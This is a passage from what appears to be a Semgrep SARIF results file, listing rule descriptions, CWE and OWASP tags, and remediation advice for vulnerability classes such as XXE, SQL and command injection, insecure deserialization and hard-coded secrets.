Rule](https://semgrep.dev/r/go.grpc.tls.grpc-client-new-insecure-connection.grpc-client-new-insecure-connection)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"Found an insecure gRPC connection using 'insecure.NewCredentials()'. This creates a connection without encryption to a gRPC server. A malicious attacker could tamper with the gRPC message, which could compromise the machine. Instead, establish a secure connection with an SSL certificate using the 'grpc.WithTransportCredentials()' function. You can create a create credentials using a 'tls.Config{}' struct with 'credentials.NewTLS()'. The final fix looks like this: 'grpc.WithTransportCredentials(credentials.NewTLS(<config>))'."},"helpUri":"https://semgrep.dev/r/go.grpc.tls.grpc-client-new-insecure-connection.grpc-client-new-insecure-connection","id":"go.grpc.tls.grpc-client-new-insecure-connection.grpc-client-new-insecure-connection","name":"go.grpc.tls.grpc-client-new-insecure-connection.grpc-client-new-insecure-connection","properties":{"precision":"very-high","tags":["CWE-300: Channel Accessible by Non-Endpoint","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: go.grpc.tls.grpc-client-new-insecure-connection.grpc-client-new-insecure-connection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$FACTORY.setExpandEntityReferences(false)` `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)` `$FACTORY.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$FACTORY.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$FACTORY.setExpandEntityReferences(false)` `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)` `$FACTORY.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$FACTORY.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.xxe.documentbuilderfactory-xxe-parse.documentbuilderfactory-xxe-parse)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://cwe.mitre.org/data/definitions/611.html](https://cwe.mitre.org/data/definitions/611.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$FACTORY.setExpandEntityReferences(false)` `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)` `$FACTORY.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$FACTORY.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.lang.security.xxe.documentbuilderfactory-xxe-parse.documentbuilderfactory-xxe-parse","id":"java.lang.security.xxe.documentbuilderfactory-xxe-parse.documentbuilderfactory-xxe-parse","name":"java.lang.security.xxe.documentbuilderfactory-xxe-parse.documentbuilderfactory-xxe-parse","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.xxe.documentbuilderfactory-xxe-parse.documentbuilderfactory-xxe-parse"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected possible formatted SQL query. Use parameterized queries instead."},"help":{"markdown":"Detected possible formatted SQL query. Use parameterized queries instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.formatted-sql-query.formatted-sql-query)\n - [https://stackoverflow.com/questions/775296/mysql-parameterized-queries](https://stackoverflow.com/questions/775296/mysql-parameterized-queries)\n","text":"Detected possible formatted SQL query. Use parameterized queries instead."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.formatted-sql-query.formatted-sql-query","id":"python.lang.security.audit.formatted-sql-query.formatted-sql-query","name":"python.lang.security.audit.formatted-sql-query.formatted-sql-query","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.formatted-sql-query.formatted-sql-query"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found potentially unsafe handling of redirect behavior $X. Do not pass `params` to `redirect_to` without the `:only_path => true` hash value."},"help":{"markdown":"Found potentially unsafe handling of redirect behavior $X. Do not pass `params` to `redirect_to` without the `:only_path => true` hash value.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.brakeman.check-redirect-to.check-redirect-to)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html)\n","text":"Found potentially unsafe handling of redirect behavior $X. Do not pass `params` to `redirect_to` without the `:only_path => true` hash value."},"helpUri":"https://semgrep.dev/r/ruby.rails.security.brakeman.check-redirect-to.check-redirect-to","id":"ruby.rails.security.brakeman.check-redirect-to.check-redirect-to","name":"ruby.rails.security.brakeman.check-redirect-to.check-redirect-to","properties":{"precision":"very-high","tags":["CWE-601: URL Redirection to Untrusted Site ('Open Redirect')","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.brakeman.check-redirect-to.check-redirect-to"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"This call makes a world-writable file which allows any user on a machine to write to the file. This may allow attackers to influence the behaviour of this process by writing to the file."},"help":{"markdown":"This call makes a world-writable file which allows any user on a machine to write to the file. This may allow attackers to influence the behaviour of this process by writing to the file.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.filesystem.world-writable-file.world-writable-file)\n - [https://wiki.sei.cmu.edu/confluence/display/c/FIO06-C.+Create+files+with+appropriate+access+permissions](https://wiki.sei.cmu.edu/confluence/display/c/FIO06-C.+Create+files+with+appropriate+access+permissions)\n","text":"This call makes a world-writable file which allows any user on a machine to write to the file. This may allow attackers to influence the behaviour of this process by writing to the file."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.filesystem.world-writable-file.world-writable-file","id":"cpp.lang.security.filesystem.world-writable-file.world-writable-file","name":"cpp.lang.security.filesystem.world-writable-file.world-writable-file","properties":{"precision":"very-high","tags":["CWE-732: Incorrect Permission Assignment for Critical Resource","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.filesystem.world-writable-file.world-writable-file"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected SHA1 hash algorithm which is considered insecure. SHA1 is not collision resistant and is therefore not suitable as a cryptographic signature. Instead, use PBKDF2 for password hashing or SHA256 or SHA512 for other hash function applications."},"help":{"markdown":"Detected SHA1 hash algorithm which is considered insecure. SHA1 is not collision resistant and is therefore not suitable as a cryptographic signature. Instead, use PBKDF2 for password hashing or SHA256 or SHA512 for other hash function applications.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/clojure.lang.security.use-of-sha1.use-of-sha1)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Password_Storage_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Password_Storage_Cheat_Sheet.html)\n","text":"Detected SHA1 hash algorithm which is considered insecure. SHA1 is not collision resistant and is therefore not suitable as a cryptographic signature. Instead, use PBKDF2 for password hashing or SHA256 or SHA512 for other hash function applications."},"helpUri":"https://semgrep.dev/r/clojure.lang.security.use-of-sha1.use-of-sha1","id":"clojure.lang.security.use-of-sha1.use-of-sha1","name":"clojure.lang.security.use-of-sha1.use-of-sha1","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","CWE-328: Use of Weak Hash","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: clojure.lang.security.use-of-sha1.use-of-sha1"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"EC2 instances should not have a public IP address attached in order to block public access to the instances. To fix this, set your `associate_public_ip_address` to `\"false\"`."},"help":{"markdown":"EC2 instances should not have a public IP address attached in order to block public access to the instances. To fix this, set your `associate_public_ip_address` to `\"false\"`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-ec2-has-public-ip.aws-ec2-has-public-ip)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n","text":"EC2 instances should not have a public IP address attached in order to block public access to the instances. To fix this, set your `associate_public_ip_address` to `\"false\"`."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-ec2-has-public-ip.aws-ec2-has-public-ip","id":"terraform.aws.security.aws-ec2-has-public-ip.aws-ec2-has-public-ip","name":"terraform.aws.security.aws-ec2-has-public-ip.aws-ec2-has-public-ip","properties":{"precision":"very-high","tags":["CWE-284: Improper Access Control","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-ec2-has-public-ip.aws-ec2-has-public-ip"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Provisioners are a tool of last resort and should be avoided where possible. Provisioner behavior cannot be mapped by Terraform as part of a plan, and execute arbitrary shell commands by design."},"help":{"markdown":"Provisioners are a tool of last resort and should be avoided where possible. Provisioner behavior cannot be mapped by Terraform as part of a plan, and execute arbitrary shell commands by design.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-provisioner-exec.aws-provisioner-exec)\n - [https://developer.hashicorp.com/terraform/language/resources/provisioners/remote-exec](https://developer.hashicorp.com/terraform/language/resources/provisioners/remote-exec)\n - [https://developer.hashicorp.com/terraform/language/resources/provisioners/local-exec](https://developer.hashicorp.com/terraform/language/resources/provisioners/local-exec)\n","text":"Provisioners are a tool of last resort and should be avoided where possible. Provisioner behavior cannot be mapped by Terraform as part of a plan, and execute arbitrary shell commands by design."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-provisioner-exec.aws-provisioner-exec","id":"terraform.aws.security.aws-provisioner-exec.aws-provisioner-exec","name":"terraform.aws.security.aws-provisioner-exec.aws-provisioner-exec","properties":{"precision":"very-high","tags":["CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection')","CWE-94: Improper Control of Generation of Code ('Code Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-provisioner-exec.aws-provisioner-exec"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring the parser with `factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, enabling both of the following configurations also provides protection against XXE attacks. `factory.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` and `factory.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, \"\")`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring the parser with `factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, enabling both of the following configurations also provides protection against XXE attacks. `factory.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` and `factory.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, \"\")`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.xxe.tainted-schemafactory-xxe-servlet.tainted-schemafactory-xxe-servlet)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://cwe.mitre.org/data/definitions/611.html](https://cwe.mitre.org/data/definitions/611.html)\n - [https://cwe.mitre.org/data/definitions/827.html](https://cwe.mitre.org/data/definitions/827.html)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring the parser with `factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, enabling both of the following configurations also provides protection against XXE attacks. `factory.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` and `factory.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, \"\")`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.servlets.security.xxe.tainted-schemafactory-xxe-servlet.tainted-schemafactory-xxe-servlet","id":"java.servlets.security.xxe.tainted-schemafactory-xxe-servlet.tainted-schemafactory-xxe-servlet","name":"java.servlets.security.xxe.tainted-schemafactory-xxe-servlet.tainted-schemafactory-xxe-servlet","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.xxe.tainted-schemafactory-xxe-servlet.tainted-schemafactory-xxe-servlet"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.secrets.mongodb.hardcoded-connection-url.hardcoded-connection-url)\n - [https://docs.rs/mongodb/latest/mongodb/](https://docs.rs/mongodb/latest/mongodb/)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/rust.secrets.mongodb.hardcoded-connection-url.hardcoded-connection-url","id":"rust.secrets.mongodb.hardcoded-connection-url.hardcoded-connection-url","name":"rust.secrets.mongodb.hardcoded-connection-url.hardcoded-connection-url","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: rust.secrets.mongodb.hardcoded-connection-url.hardcoded-connection-url"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `pandas.read_pickle()` function uses `pickle` for object deserialization and should not be used with untrusted data."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `pandas.read_pickle()` function uses `pickle` for object deserialization and should not be used with untrusted data.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pyramid.deserialization.tainted-pandas-pickle-pyramid.tainted-pandas-pickle-pyramid)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://pandas.pydata.org/docs/reference/api/pandas.read_pickle.html](https://pandas.pydata.org/docs/reference/api/pandas.read_pickle.html)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://redfoxsec.com/blog/insecure-deserialization-in-python/](https://redfoxsec.com/blog/insecure-deserialization-in-python/)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://www.exploit-db.com/exploits/49585](https://www.exploit-db.com/exploits/49585)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `pandas.read_pickle()` function uses `pickle` for object deserialization and should not be used with untrusted data."},"helpUri":"https://semgrep.dev/r/python.pyramid.deserialization.tainted-pandas-pickle-pyramid.tainted-pandas-pickle-pyramid","id":"python.pyramid.deserialization.tainted-pandas-pickle-pyramid.tainted-pandas-pickle-pyramid","name":"python.pyramid.deserialization.tainted-pandas-pickle-pyramid.tainted-pandas-pickle-pyramid","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.pyramid.deserialization.tainted-pandas-pickle-pyramid.tainted-pandas-pickle-pyramid"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.os.tainted-os-command-paramiko-flask.tainted-os-command-paramiko-flask)\n - [https://docs.paramiko.org/en/latest/api/client.html#paramiko.client.SSHClient.exec_command](https://docs.paramiko.org/en/latest/api/client.html#paramiko.client.SSHClient.exec_command)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://semgrep.dev/docs/cheat-sheets/python-command-injection/](https://semgrep.dev/docs/cheat-sheets/python-command-injection/)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"helpUri":"https://semgrep.dev/r/python.flask.os.tainted-os-command-paramiko-flask.tainted-os-command-paramiko-flask","id":"python.flask.os.tainted-os-command-paramiko-flask.tainted-os-command-paramiko-flask","name":"python.flask.os.tainted-os-command-paramiko-flask.tainted-os-command-paramiko-flask","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.os.tainted-os-command-paramiko-flask.tainted-os-command-paramiko-flask"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected non-static command inside exec.Cmd. Audit the input to 'exec.Cmd'. If unverified user data can reach this call site, this is a code injection vulnerability. A malicious actor can inject a malicious script to execute arbitrary code."},"help":{"markdown":"Detected non-static command inside exec.Cmd. Audit the input to 'exec.Cmd'. If unverified user data can reach this call site, this is a code injection vulnerability. A malicious actor can inject a malicious script to execute arbitrary code.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.dangerous-exec-cmd.dangerous-exec-cmd)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected non-static command inside exec.Cmd. Audit the input to 'exec.Cmd'. If unverified user data can reach this call site, this is a code injection vulnerability. A malicious actor can inject a malicious script to execute arbitrary code."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.dangerous-exec-cmd.dangerous-exec-cmd","id":"go.lang.security.audit.dangerous-exec-cmd.dangerous-exec-cmd","name":"go.lang.security.audit.dangerous-exec-cmd.dangerous-exec-cmd","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.dangerous-exec-cmd.dangerous-exec-cmd"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Use the SQLAlchemy ORM provided functions to build SQL queries instead to avoid SQL injection."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Use the SQLAlchemy ORM provided functions to build SQL queries instead to avoid SQL injection.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.db.sqlalchemy-flask.sqlalchemy-flask)\n - [https://docs.sqlalchemy.org/en/20/core/sqlelement.html#sqlalchemy.sql.expression.text](https://docs.sqlalchemy.org/en/20/core/sqlelement.html#sqlalchemy.sql.expression.text)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Use the SQLAlchemy ORM provided functions to build SQL queries instead to avoid SQL injection."},"helpUri":"https://semgrep.dev/r/python.flask.db.sqlalchemy-flask.sqlalchemy-flask","id":"python.flask.db.sqlalchemy-flask.sqlalchemy-flask","name":"python.flask.db.sqlalchemy-flask.sqlalchemy-flask","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.db.sqlalchemy-flask.sqlalchemy-flask"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found request data in 'send_mail(...)' that uses 'html_message'. This is dangerous because HTML emails are susceptible to XSS. An attacker could inject data into this HTML email, causing XSS."},"help":{"markdown":"Found request data in 'send_mail(...)' that uses 'html_message'. This is dangerous because HTML emails are 